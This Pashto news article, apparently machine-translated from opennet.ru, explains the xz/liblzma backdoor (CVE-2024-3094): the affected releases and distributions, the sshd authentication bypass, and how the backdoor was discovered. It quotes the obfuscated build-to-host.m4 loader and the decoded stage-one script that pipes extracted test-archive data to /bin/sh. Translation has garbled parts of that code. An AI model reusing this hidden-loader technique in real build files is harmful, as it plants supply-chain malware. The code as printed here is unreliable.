په xz/liblzma کتابتون کې یو شاته دروازه وموندل شوه چې د sshd له لارې د ننوتلو اجازه ورکوي

د XZ Utils کڅوړه کې، چې د ".xz" بڼه کې د کمپریس شوي ډیټا سره کار کولو لپاره د liblzma کتابتون او اسانتیاوې شاملې دي، یو شاته دروازه (CVE-2024-3094) پیژندل شوې چې د اړوندو غوښتنلیکونو لخوا پروسس شوي ډاټا مداخله او ترمیم ته اجازه ورکوي. د لیبلزما کتابتون سره. د شاته دروازې اصلي هدف د OpenSSH سرور دی، کوم چې په ځینو توزیعونو کې د libsystemd کتابتون سره بنډل شوی، چې په پایله کې یې liblzma کاروي. د زیانمنونکي کتابتون سره د sshd لینک کول برید کونکو ته اجازه ورکوي چې پرته له تصدیق SSH سرور ته لاسرسی ومومي.

بیک ډور په رسمي خپرونو 5.6.0 او 5.6.1 کې شتون درلود، چې د فبروري په 24 او مارچ 9 خپور شو، کوم چې په ځینو توزیعونو او ذخیره کولو کې بریالی شو، د بیلګې په توګه، جینټو، آرچ لینکس، دبیان سیډ/بې ثباته، فیډورا راهایډ او 40-بیټا، د اوپن سوس فابریکه او ټمبل ویډ، لیبریلیک، الپین څنډه، سولس، نیکسوس بې ثباته، OpenIndiana، OpenMandriva رولینګ، pkgsrc اوسنی، د سلیک ویئر اوسنی، مانجارو ازموینه. د xz 5.6.0 او 5.6.1 ریلیزونو ټولو کاروونکو ته سپارښتنه کیږي چې په سمدستي توګه 5.4.6 نسخه ته راستون شي.

د ستونزې کمولو فکتورونو په مینځ کې ، دا په پام کې نیول کیدی شي چې د لیبلزما نسخه د شاته دروازې سره د لوی توزیعونو مستحکم ریلیزونو برخه نه شي ګرځیدلی ، مګر د OpenSUSE Tumbleweed او Fedora 40-beta اغیزه کړې. آرچ لینکس او جینټو د zx زیان منونکي نسخه کارولې ، مګر د برید لپاره حساس ندي ځکه چې دوی د سیسټمډ - خبرتیا پیچ په Openssh کې نه پلي کوي ، کوم چې د sshd د liblzma سره تړل کیدو لامل کیږي. شاته دروازه یوازې د لینکس کرنل او ګلیبک سی کتابتون پراساس x86_64 سیسټمونه اغیزه کوي.

د شاتنۍ دروازې د فعالولو کوډ په m4 میکرو کې د build-to-host.m4 فایل څخه پټ شوی و چې د جوړولو په وخت کې د اتوماتیک اوزار کټ لخوا کارول کیږي. د اسمبلۍ په جریان کې ، د آرشیفونو (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) پراساس د پیچلو مبهم عملیاتو اجرا کولو په جریان کې ، د عملیاتو د سموالي ازموینې لپاره کارول شوي ، د ناوړه کوډ سره د اعتراض فایل رامینځته شوی ، کوم چې پکې شامل و. د liblzma کتابتون او د عملیاتو منطق یې د هغې ځینې دندې بدلې کړې. د m4 میکرو چې شاته دروازه فعالوي د خوشې کولو ټاربالونو کې شامل شوي ، مګر د Git ذخیره کې ندي. په ورته وخت کې، ناوړه ازموینې آرشیفونه په ذخیره کې موجود وو، د بیلګې په توګه. هغه کس چې شاته دروازه یې پلي کړې د ذخیره کولو او د خوشې کولو تولید پروسې دواړو ته لاسرسی درلود.

کله چې په غوښتنلیکونو کې لیبلزما کاروئ، ناوړه بدلونونه د ډیټا مداخلې یا بدلولو لپاره کارول کیدی شي، یا د sshd عملیات اغیزمن کړي. په ځانګړې توګه، ناوړه کوډ د RSA_public_decrypt فنکشن ته سپکاوی کړی ترڅو د sshd تصدیق کولو پروسې څخه تیر شي. په شاته دروازه کې د کشف څخه محافظت شامل و او پخپله ښکاره نه شو کله چې د LANG او TERM چاپیریال متغیرونه تنظیم شوي (د بیلګې په توګه ، کله چې په ټرمینل کې پروسه پرمخ وړل کیږي) او LD_DEBUG او LD_PROFILE چاپیریال متغیرونه ندي ټاکل شوي ، او یوازې د اجرا کولو پرمهال فعال شوي. /usr/sbin/sshd د اجرا وړ فایل. شاته دروازه هم په ډیبګ چاپیریال کې د اعدام کشف کولو وسیله درلوده.

په ځانګړې توګه، m4/build-to-host.m4 فایل کارول شوی gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/ null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

په لومړي ساختمان کې، د grep عملیات د فایل tests/files/bad-3-corrupt_lzma2.xz وموندل، کوم چې کله چې پیکه شي، سکریپټ یې تولید کړ: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` که ازموینه -f ../../config.status؛ بیا eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» فای صادرات i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (سر - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && سر - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####نړۍ####

بریدګر څنګه وکولای شول چې د xz پروژې زیربنا ته لاسرسی ومومي تر اوسه په بشپړ ډول روښانه شوي ندي. دا لا هم روښانه نده چې څومره کاروونکي او پروژې د شاته دروازې په پایله کې جوړ شوي. د شاته دروازې ادعا شوي لیکوال (JiaT75 - جیا تان)، چې په ذخیره کې یې د ناوړه کوډ سره آرشیفونه پوسټ کړي، د فیډورا پراختیا کونکو سره اړیکه لري او د xz 5.6.0 څانګې ته د توزیع لیږد پورې اړوند ډیبیان ته د پلټ غوښتنې لیږلي، او نه یې کړي. شک راپاروي، ځکه چې هغه په ​​xz کې برخه اخیستې وه له تیرو دوو کلونو راهیسې وده کوي او د بدلونونو شمیر له مخې دوهم پرمخ وړونکی دی. د xz پروژې سربیره ، د شاته دروازې ادعا شوي لیکوال هم د xz-java او xz-ایمبیډ شوي کڅوړو په پراختیا کې برخه اخیستې. سربیره پردې ، جیا تان څو ورځې دمخه د لینکس کرنل کې کارول شوي د XZ ایمبیډډ پروژې ساتونکو شمیر کې شامل شو.

ناوړه بدلون د ډیری CPU مصرف تحلیل کولو وروسته وموندل شو او د والګرینډ لخوا رامینځته شوي غلطۍ کله چې د ssh له لارې Debian sid-based سیسټمونو سره وصل کیږي. دا د یادونې وړ ده چې د xz 5.6.1 خوشې کې د sshd سستیدو او کریشونو په اړه د شکایتونو په ځواب کې د شاته دروازې د ادعا شوي لیکوال لخوا چمتو شوي بدلونونه شامل دي چې د شاته دروازې سره د zx 5.6.0 نسخې ته لوړیدو وروسته راپورته شوي. برسیره پردې، تیر کال جیا تان هغه بدلونونه رامینځته کړل چې د "-fsanitize=address" معاینې موډ سره مطابقت نلري، چې دا د فز ازموینې په جریان کې د غیر فعال کیدو لامل شوی.

سرچینه: opennet.ru

Add a comment